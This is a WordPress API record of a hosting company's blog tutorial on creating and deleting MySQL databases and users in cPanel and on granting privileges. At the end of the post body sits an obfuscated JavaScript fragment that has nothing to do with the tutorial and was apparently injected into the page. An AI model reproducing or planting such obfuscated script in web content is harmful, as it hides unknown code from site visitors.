{"id":534,"date":"2021-09-07T22:52:36","date_gmt":"2021-09-07T22:52:36","guid":{"rendered":"https:\/\/hoganhost.com.ng\/blog\/?p=534"},"modified":"2024-08-12T13:34:44","modified_gmt":"2024-08-12T12:34:44","slug":"how-to-create-or-delete-a-mysql-database-or-user","status":"publish","type":"post","link":"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-create-or-delete-a-mysql-database-or-user\/","title":{"rendered":"How To Create or Delete a MySQL Database or User"},"content":{"rendered":"<p>We will show you how effortless it is to create the database and the database user and assign that user to your new database. This is standard practice for anyone looking to manually install third-party programs that make use of MySQL databases.<\/p>\n<p><strong>Disclaimer<\/strong>: Your cPanel may have a new look, but the steps should be relatively the same.<\/p>\n<hr \/>\n<h2 id=\"database\"><strong>Create or Delete a MySQL Database<\/strong><\/h2>\n<h4><strong>How To Create a MySQL Database<\/strong><\/h4>\n<ol>\n<li>Log in to\u00a0cPanel<strong>.<\/strong><\/li>\n<li>Look for the\u00a0<strong>Databases<\/strong>\u00a0section, then click\u00a0<strong>MySQL Databases<\/strong>.\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 <img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone  wp-image-535\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/new-cpanel-mysql-database-300x71.png\" alt=\"\" width=\"515\" height=\"122\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/new-cpanel-mysql-database-300x71.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/new-cpanel-mysql-database.png 565w\" sizes=\"(max-width: 515px) 100vw, 515px\" \/>&nbsp;<\/li>\n<li>In the\u00a0<strong>New Database<\/strong> field, type a name for your database.\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0<img decoding=\"async\" class=\"alignnone  wp-image-536\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/new-cpanel-create-new-database-300x100.png\" alt=\"\" width=\"462\" height=\"154\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/new-cpanel-create-new-database-300x100.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/new-cpanel-create-new-database-768x256.png 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/new-cpanel-create-new-database.png 786w\" sizes=\"(max-width: 462px) 100vw, 462px\" \/>&nbsp;<\/li>\n<li>Click<strong>\u00a0Create Database<\/strong>.<\/li>\n<li>Click\u00a0<strong>Go Back<\/strong>.\n<ul>\n<li>The new database will appear in the\u00a0<strong>Current Databases<\/strong>\u00a0section.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n<h4><strong>How To Delete a MySQL Database<\/strong><\/h4>\n<ol>\n<li>Navigate to the\u00a0<strong>Current Databases<\/strong>\u00a0section of MySQL Databases.<\/li>\n<li>In the\u00a0<strong>Actions\u00a0<\/strong>column of the table, click\u00a0<strong>Delete\u00a0<\/strong>next to the database you wish to delete.\u00a0 \u00a0 <img decoding=\"async\" class=\"alignnone  wp-image-537\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/mysql-current-databases-300x122.png\" alt=\"\" width=\"568\" height=\"231\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/mysql-current-databases-300x122.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/mysql-current-databases-768x313.png 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/mysql-current-databases.png 777w\" sizes=\"(max-width: 568px) 100vw, 568px\" \/>&nbsp;<\/li>\n<li>Confirm that you wish to permanently remove the database.\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0<img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-538\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/cpanel-mysql-databases-delete-database-confirmation-300x81.png\" alt=\"\" width=\"515\" height=\"139\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/cpanel-mysql-databases-delete-database-confirmation-300x81.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/cpanel-mysql-databases-delete-database-confirmation.png 610w\" sizes=\"(max-width: 515px) 100vw, 515px\" \/>&nbsp;<\/li>\n<\/ol>\n<hr \/>\n<h2 id=\"user\"><strong>Create or Delete a Database User<\/strong><\/h2>\n<h4><strong>What is a MySQL User, and Why is it Important?<\/strong><\/h4>\n<p>The MySQL user is a record in the MySQL server created for authentication purposes. This is different from the usernames you use in logging into Windows or even in your cPanel\/WHM. Setting up a MySQL user provides more security to your website\u2019s databases as you can assign permissions to each user. Aside from you, the website\u2019s owner, you do not wish to grant just any user all access to your database.<\/p>\n<p>After creating the database, you will need to create a user and assign privileges. Please note that MySQL user accounts must be created separately from mail and web administrator accounts.<\/p>\n<h4><strong>How To Create a Database User<\/strong><\/h4>\n<ol>\n<li>Log in to\u00a0cPanel<strong>.<\/strong><\/li>\n<li>Look for the\u00a0<strong>Databases<\/strong>\u00a0section, then click\u00a0<strong>MySQL Databases<\/strong>.\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 <img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-535\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/new-cpanel-mysql-database-300x71.png\" alt=\"\" width=\"465\" height=\"110\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/new-cpanel-mysql-database-300x71.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/new-cpanel-mysql-database.png 565w\" sizes=\"(max-width: 465px) 100vw, 465px\" \/>&nbsp;<\/li>\n<li>Click the\u00a0<strong>Jump to MySQL Users<\/strong>\u00a0link at the top-right corner of the page. You may also scroll a little bit down to the<strong>\u00a0MySQL User<\/strong>\u00a0section.<\/li>\n<li>Under\u00a0<strong>Add New User<\/strong>, enter a username.\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0<img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-539\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/mysql-users-add-new-user-300x182.png\" alt=\"\" width=\"493\" height=\"299\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/mysql-users-add-new-user-300x182.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/mysql-users-add-new-user.png 556w\" sizes=\"(max-width: 493px) 100vw, 493px\" \/>&nbsp;<\/li>\n<li>Enter a password in the\u00a0<strong>Password<\/strong>\u00a0field.\n<ul>\n<li>For help generating a strong password, click the\u00a0<strong>Generate Password<\/strong>\u00a0button.<\/li>\n<\/ul>\n<\/li>\n<li>Once the password is confirmed, click on the\u00a0<strong>Create User<\/strong>\u00a0button.<\/li>\n<\/ol>\n<h4><strong>How To Delete a Database User<\/strong><\/h4>\n<ol>\n<li>Navigate to the\u00a0<strong>Current Users<\/strong>\u00a0section of\u00a0<strong>MySQL Databases<\/strong>.<\/li>\n<li>Locate the database user you wish to delete, then click its\u00a0<strong>Delete<\/strong> icon.\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 <img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-540\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/mysql-users-delete-users-300x160.png\" alt=\"\" width=\"534\" height=\"285\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/mysql-users-delete-users-300x160.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/mysql-users-delete-users.png 499w\" sizes=\"(max-width: 534px) 100vw, 534px\" \/>&nbsp;<\/li>\n<li>Click the\u00a0<strong>Delete User<\/strong> icon to confirm the deletion.\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 <img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-541\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/cpanel-mysql-confirm-delete-user-300x109.png\" alt=\"\" width=\"515\" height=\"187\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/cpanel-mysql-confirm-delete-user-300x109.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/cpanel-mysql-confirm-delete-user.png 519w\" sizes=\"(max-width: 515px) 100vw, 515px\" \/>&nbsp;<\/li>\n<\/ol>\n<hr \/>\n<h2 id=\"privileges\"><strong>Define a User&#8217;s Privileges and How Important They Are<\/strong><\/h2>\n<p>You need specific users to have permissions to perform website management tasks, like running queries or modifying databases. This is when we grant privileges. Privileges determine how a user is able to interact with the database. For example, privileges will dictate whether or not the user can add and delete information.<\/p>\n<h4><strong>How To Assign Privileges to Database User<\/strong><\/h4>\n<ol>\n<li>Log in to\u00a0cPanel<strong>.<\/strong><\/li>\n<li>Look for the\u00a0<strong>Databases<\/strong>\u00a0section, then click\u00a0<strong>MySQL Databases<\/strong>.\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0<img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-535\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/new-cpanel-mysql-database-300x71.png\" alt=\"\" width=\"423\" height=\"100\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/new-cpanel-mysql-database-300x71.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/new-cpanel-mysql-database.png 565w\" sizes=\"(max-width: 423px) 100vw, 423px\" \/>&nbsp;<\/li>\n<li>Under\u00a0<strong>Add User to Database<\/strong>, select a user from the\u00a0<strong>User<\/strong> dropdown menu.\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0<img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-542\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/cpanel-mysql-databases-add-user-to-database-300x127.png\" alt=\"\" width=\"475\" height=\"201\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/cpanel-mysql-databases-add-user-to-database-300x127.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/cpanel-mysql-databases-add-user-to-database.png 462w\" sizes=\"(max-width: 475px) 100vw, 475px\" \/>&nbsp;<\/li>\n<li>From the\u00a0<strong>Database<\/strong>\u00a0dropdown menu, select the database you wish to allow the user access to.<\/li>\n<li>Click\u00a0<strong>Add<\/strong>.<\/li>\n<li>On the next page, select the privileges you wish to grant the user\u00a0or simply select\u00a0<strong>ALL PRIVILEGES<\/strong>.<img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-543\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/mysql-manage-user-privileges-300x290.png\" alt=\"\" width=\"466\" height=\"450\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/mysql-manage-user-privileges-300x290.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/mysql-manage-user-privileges.png 520w\" sizes=\"(max-width: 466px) 100vw, 466px\" \/>&nbsp;<\/li>\n<li>Click\u00a0<strong>Make Changes<\/strong>, then click\u00a0<strong>Go Back<\/strong>.<\/li>\n<\/ol>\n<h4><strong>How To Unassign a User from a Database<\/strong><\/h4>\n<ol>\n<li>Navigate to the\u00a0<strong>Current Databases<\/strong>\u00a0section of\u00a0<strong>MySQL Databases<\/strong>.<\/li>\n<li>Locate the database you wish to modify.<\/li>\n<li>In the\u00a0<strong>Privileged Users<\/strong> column for that database, click the trash icon.\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0<img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-544\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/cpanel-mysql-databases-unassign-user-from-database-300x122.png\" alt=\"\" width=\"561\" height=\"228\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/cpanel-mysql-databases-unassign-user-from-database-300x122.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/cpanel-mysql-databases-unassign-user-from-database-768x313.png 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/cpanel-mysql-databases-unassign-user-from-database.png 777w\" sizes=\"(max-width: 561px) 100vw, 561px\" \/>&nbsp;<\/li>\n<\/ol>\n<hr \/>\n<h2 id=\"example\"><strong>Using the Database<\/strong><\/h2>\n<p>Now that you can create databases and users and assign appropriate privileges, you can use the following articles as references in editing and connecting to your databases.<\/p>\n<h4><strong>How To Delete a Database Without Using cPanel<\/strong><\/h4>\n<p>The steps below are done using SSH. If you know how to use it.<\/p>\n<ol>\n<li>Make a backup of the database with SSH using the command line below. Use your cPanel password.\n<pre><code>username@domain [~] # mysqldump --password username_database &gt; username_database.db\r\nEnter password:  (cPanel Password)\r\nusername@domain [~] #\r\n<\/code><\/pre>\n<\/li>\n<li>Next, use the\u00a0<strong>DROP DATABASE<\/strong>\u00a0command, inside of mysql, to delete the database.\n<pre><code>\r\nmysql&gt; SHOW DATABASES LIKE \"username_database\";\r\n+------------------------------+\r\n| Database (username_database) |\r\n+------------------------------+\r\n| username_database            |\r\n+------------------------------+\r\n1 row in set (0.02 sec)\r\n\r\nmysql&gt; DROP DATABASE username_database;\r\nQuery OK, 0 rows affected (0.00 sec)\r\n\r\nmysql&gt; SHOW DATABASES LIKE \"username_database\";\r\nEmpty set (0.02 sec)\r\n\r\nmysql&gt;\r\n  <\/code><\/pre>\n<\/li>\n<\/ol>\n<p>Go to\u00a0<a href=\"https:\/\/dev.mysql.com\/doc\/refman\/8.0\/en\/drop-database.html\" target=\"_blank\" rel=\"noopener\">DROP DATABASE Statement link<\/a>\u00a0for further information on this command.<\/p>\n<h4><strong>How To Drop One or Multiple Users at a Time<\/strong><\/h4>\n<p>Using the MySQL statement\u00a0<strong>DROP USER<\/strong>\u00a0allows you to remove user accounts and also their privileges from the database.<\/p>\n<p><strong>Syntax:<\/strong><\/p>\n<pre><code>DROP USER \u2018user\u2019@\u2019host\u2019;<\/code><\/pre>\n<ul>\n<li><em><strong>User<\/strong><\/em>: The user account you want to drop.<\/li>\n<li><em><strong>Host<\/strong><\/em>: The host server name of the user account.\u00a0<em><strong>Format<\/strong><\/em>: \u2018user_name\u2019@\u2019host_name\u2019.<\/li>\n<\/ul>\n<p>Example:<\/p>\n<pre><code>DROP USER \u2018snappy01\u2019@\u2019localhost\u2019;<\/code><\/pre>\n<p>To DROP multiple user accounts, follow this format:<\/p>\n<pre><code>DROP USER \u2018snappy01\u2019@\u2019localhost\u2019, \u2018snappy02\u2019@\u2019localhost\u2019;<\/code><\/pre>\n<h4><strong>How To Grant Privileges in MySQL<\/strong><\/h4>\n<p>To grant privileges to users in MySQL, you are first required to have the\u00a0<strong>CREATE USER<\/strong>\u00a0and\u00a0<strong>GRANT<\/strong>\u00a0privileges.<\/p>\n<p><strong>Syntax<\/strong>:<\/p>\n<pre><code>GRANT permission1, permission2 ON database_name TO 'user'@'localhost';<\/code><\/pre>\n<p>Example:<\/p>\n<pre><code>GRANT SELECT, INSERT, DELETE ON example_db TO \u2018snappy02\u2019@\u2019localhost\u2019;\r\n\r\n<\/code><\/pre>\n<h4><strong>How To View Privileges in MySQL<\/strong><\/h4>\n<p>To show existing users and their privileges in MySQL, run the command\u00a0<strong>SHOW GRANT<\/strong>.<\/p>\n<p><strong>Syntax<\/strong>:<\/p>\n<pre><code>SHOW GRANTS FOR 'database_user'@'localhost';<\/code><\/pre>\n<p>Example:<\/p>\n<pre><code>SHOW GRANTS for \u2018snappy02\u2019@\u2019localhost\u2019;<\/code><\/pre>\n<p>Sample Output:<\/p>\n<pre><code>mysql&gt; SHOW GRANTS FOR \u2018snappy02\u2019@'localhost';\r\n+------------------------------------------------------------------+\r\n| Grants for snappy02@localhost |\r\n+------------------------------------------------------------------+\r\n| GRANT USAGE ON *.* TO `snappy02`@`localhost` |\r\n| GRANT SELECT, INSERT, UPDATE ON `example_db`.* TO `snappy02`@`localhost` |<\/code><\/pre>\n<p>&nbsp;<\/p>\n<p>CHECK OUT OUR WEB HOSTING <a href=\"http:\/\/hoganhost.com.ng\">HOGANHOST.COM.NG<\/a><br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>We will show you how effortless it is to create the database and the database user and assign that user [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":535,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[33,9],"tags":[],"class_list":["post-534","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-database","category-wordpress"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.6 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>How To Create or Delete a MySQL Database or User<\/title>\n<meta name=\"description\" content=\"We will show you how effortless it is to create the database and the database user and assign that user to your new database. This\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-create-or-delete-a-mysql-database-or-user\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"How To Create or Delete a MySQL Database or User\" \/>\n<meta property=\"og:description\" content=\"We will show you how effortless it is to create the database and the database user and assign that user to your new database. This\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-create-or-delete-a-mysql-database-or-user\/\" \/>\n<meta property=\"og:site_name\" content=\"HoganHost blog\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/facebook.com\/HoganHost\" \/>\n<meta property=\"article:published_time\" content=\"2021-09-07T22:52:36+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-08-12T12:34:44+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/new-cpanel-mysql-database.png\" \/>\n\t<meta property=\"og:image:width\" content=\"565\" \/>\n\t<meta property=\"og:image:height\" content=\"133\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Abigal okon\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@hoganhostng\" \/>\n<meta name=\"twitter:site\" content=\"@hoganhostng\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Abigal okon\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-create-or-delete-a-mysql-database-or-user\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-create-or-delete-a-mysql-database-or-user\/\"},\"author\":{\"name\":\"Abigal okon\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a\"},\"headline\":\"How To Create or Delete a MySQL Database or User\",\"datePublished\":\"2021-09-07T22:52:36+00:00\",\"dateModified\":\"2024-08-12T12:34:44+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-create-or-delete-a-mysql-database-or-user\/\"},\"wordCount\":799,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#organization\"},\"image\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-create-or-delete-a-mysql-database-or-user\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/new-cpanel-mysql-database.png\",\"articleSection\":[\"Database\",\"wordpress\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-create-or-delete-a-mysql-database-or-user\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-create-or-delete-a-mysql-database-or-user\/\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-create-or-delete-a-mysql-database-or-user\/\",\"name\":\"How To Create or Delete a MySQL Database or User\",\"isPartOf\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-create-or-delete-a-mysql-database-or-user\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-create-or-delete-a-mysql-database-or-user\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/new-cpanel-mysql-database.png\",\"datePublished\":\"2021-09-07T22:52:36+00:00\",\"dateModified\":\"2024-08-12T12:34:44+00:00\",\"description\":\"We will show you how effortless it is to create the database and the database user and assign that user to your new database. This\",\"breadcrumb\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-create-or-delete-a-mysql-database-or-user\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-create-or-delete-a-mysql-database-or-user\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-create-or-delete-a-mysql-database-or-user\/#primaryimage\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/new-cpanel-mysql-database.png\",\"contentUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/new-cpanel-mysql-database.png\",\"width\":565,\"height\":133},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-create-or-delete-a-mysql-database-or-user\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/hoganhost.com.ng\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"How To Create or Delete a MySQL Database or User\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#website\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/\",\"name\":\"HoganHost blog\",\"description\":\"Keeping you connected to everything from HoganHost\",\"publisher\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/hoganhost.com.ng\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#organization\",\"name\":\"HoganHost\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png\",\"contentUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png\",\"width\":466,\"height\":387,\"caption\":\"HoganHost\"},\"image\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/facebook.com\/HoganHost\",\"https:\/\/x.com\/h